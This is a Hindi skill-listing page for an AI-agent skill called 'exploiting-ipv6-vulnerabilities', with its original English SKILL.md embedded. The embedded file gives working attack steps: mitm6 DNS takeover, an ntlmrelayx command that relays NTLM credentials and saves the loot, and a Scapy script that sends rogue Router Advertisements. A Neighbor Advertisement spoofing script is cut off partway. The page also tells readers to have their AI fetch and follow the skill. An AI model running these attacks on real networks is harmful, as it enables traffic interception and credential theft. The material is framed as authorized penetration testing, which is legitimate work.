मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी35k · #7911

exploiting-ipv6-vulnerabilities

यह क्या करती है

यह टूल नेटवर्क में IPv6 की खास सुरक्षा कमज़ोरियों को ढूंढने और उनका फायदा उठाकर जांच करने में मदद करता है। यह जांचता है कि क्या नेटवर्क के सुरक्षा नियम IPv4 और IPv6 दोनों पर एक जैसे काम करते हैं, और 'SLAAC spoofing' तथा 'Router Advertisement flooding' जैसे हमलों की नकल करता है।

कब इस्तेमाल करें

  • ✓यह जांचने के लिए कि नेटवर्क के सुरक्षा नियम IPv4 और IPv6 पर एक जैसे काम करते हैं या नहीं।
  • ✓उन नेटवर्क पर IPv6 के बिना नियंत्रण के जोखिम दिखाने के लिए जो सिर्फ IPv4 के लिए बने हैं।
  • ✓यह देखने के लिए कि firewalls और intrusion detection systems IPv6 हमलों पर कैसे प्रतिक्रिया देते हैं।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-ipv6-vulnerabilities/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-ipv6-vulnerabilities/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“अंदरूनी नेटवर्क पर IPv6 की कमज़ोरियों का टेस्ट करो।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

टूल नकली router announcements भेजने जैसी तकनीकें इस्तेमाल करता है, ताकि डिवाइस हमलावर को ट्रैफिक रिले करने वाला मान लें। यह डिवाइसों के अपने आप IPv6 कॉन्फ़िगर होने के तरीके (SLAAC) का फायदा उठाकर ट्रैफिक रोकने की कोशिश भी कर सकता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Exploiting IPv6 Vulnerabilities

When to Use

  • Testing whether dual-stack networks have consistent security controls for both IPv4 and IPv6 traffic
  • Demonstrating risks from unmanaged IPv6 on networks where only IPv4 is officially supported
  • Exploiting SLAAC and Router Advertisement mechanisms to perform man-in-the-middle attacks via IPv6
  • Testing IPv6-aware firewall rules and IDS/IPS detection for IPv6-specific attack patterns
  • Identifying IPv6 tunneling protocols (6to4, Teredo, ISATAP) that bypass IPv4-only security controls

Do not use on production networks without written authorization, against systems where IPv6 disruption could cause safety issues, or for denial-of-service attacks against network infrastructure.

Prerequisites

  • Written authorization specifying IPv6 testing scope and approved techniques
  • Kali Linux with THC-IPv6 toolkit, Scapy, and mitm6 installed
  • Network interface with IPv6 support on the target network segment
  • Understanding of IPv6 addressing, SLAAC, NDP, and Router Advertisements
  • Wireshark for capturing and analyzing IPv6 traffic

Workflow

Step 1: Enumerate IPv6 on the Network

# Check if IPv6 is enabled on the local interface
ip -6 addr show

# Discover IPv6 hosts on the local link using multicast
ping6 -c 3 ff02::1%eth0
# ff02::1 = all-nodes multicast address

# Use alive6 from THC-IPv6 toolkit to discover hosts
sudo alive6 eth0

# Scan for IPv6-enabled hosts with Nmap
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0

# Check for Router Advertisements on the network
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = Router Advertisement

# Use radvdump to capture existing RAs
sudo radvdump

# Check for DHCPv6 servers
sudo dhclient -6 -v eth0 --request-only

Step 2: Perform SLAAC-Based MITM Attack with mitm6

# mitm6 exploits the default behavior of Windows machines to request
# IPv6 configuration via DHCPv6 when a Router Advertisement is seen

# Start mitm6 to become the IPv6 DNS server
sudo mitm6 -d example.com -i eth0

# mitm6 performs the following:
# 1. Sends Router Advertisements to enable IPv6 on victims
# 2. Responds to DHCPv6 requests, assigning itself as DNS server
# 3. Victims now send DNS queries to the attacker over IPv6
# 4. Attacker can respond with spoofed DNS replies

# Combine with ntlmrelayx for credential relay
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot

# This exploits:
# 1. WPAD (Web Proxy Auto-Discovery) via DNS
# 2. Windows sends NTLM authentication to the WPAD proxy
# 3. ntlmrelayx relays the credentials to target servers

Step 3: Router Advertisement Spoofing

#!/usr/bin/env python3
"""Rogue Router Advertisement for authorized IPv6 testing."""

from scapy.all import *
from scapy.layers.inet6 import *

# Craft a Router Advertisement packet
# This makes the attacker appear as the default IPv6 router

iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)

ra = (
    Ether(dst="33:33:00:00:00:01") /  # All-nodes multicast
    IPv6(src=attacker_ipv6, dst="ff02::1") /
    ICMPv6ND_RA(
        routerlifetime=1800,     # Advertise as router for 30 min
        prf=1,                   # High preference
        M=0,                     # No managed flag (use SLAAC)
        O=1                      # Other config via DHCPv6 (DNS)
    ) /
    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
    ICMPv6NDOptPrefixInfo(
        prefix="2001:db8:dead::",  # Rogue prefix
        prefixlen=64,
        L=1,
        A=1,
        validlifetime=3600,
        preferredlifetime=1800
    ) /
    ICMPv6NDOptRDNSS(
        dns=[attacker_ipv6],  # Attacker as DNS server
        lifetime=1800
    )
)

print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}")
print(f"[*] Advertising prefix 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.")

Step 4: IPv6 Neighbor Discovery Attacks

# Neighbor Advertisement spoofing (IPv6 equivalent of ARP spoofing)
# Using THC-IPv6 parasite6 tool
sudo parasite6 eth0

# Or craft with Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *

# Spoof Neighbor Advertisement to redirect traffic
target_ipv6 = "2001:db8::50"    # Victim IPv6 address
gateway_ipv6 = "2001:db8::1"    # Gateway IPv6 address

…
अक्सर पूछे जाने वाले सवाल

SLAAC क्या है?

SLAAC (Stateless Address Autoconfiguration) एक तरीका है जिससे डिवाइस बिना DHCP सर्वर के अपना IPv6 address खुद कॉन्फ़िगर कर लेते हैं। यह कुछ-कुछ वैसा है जैसे डिवाइस नेटवर्क को अपना एक अनोखा पता खुद बताता है।

'Router Advertisements' क्या हैं?

ये वे संदेश हैं जो राउटर नेटवर्क के डिवाइसों को IPv6 कॉन्फ़िगरेशन के बारे में बताते हैं, जैसे network prefix और default router का address। हमले में नकली advertisements भेजे जा सकते हैं।

क्या मैं इसे किसी भी नेटवर्क पर इस्तेमाल कर सकता हूं?

नहीं। नेटवर्क टेस्ट करने के लिए लिखित अनुमति ज़रूरी है, खासकर production वातावरण में। इसे ऐसे सिस्टम पर इस्तेमाल न करें जहां रुकावट से सुरक्षा का खतरा हो सकता है, या denial-of-service हमलों के लिए।

जानकारी

लेखक का मूल विवरण

Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses. '

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#7911
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills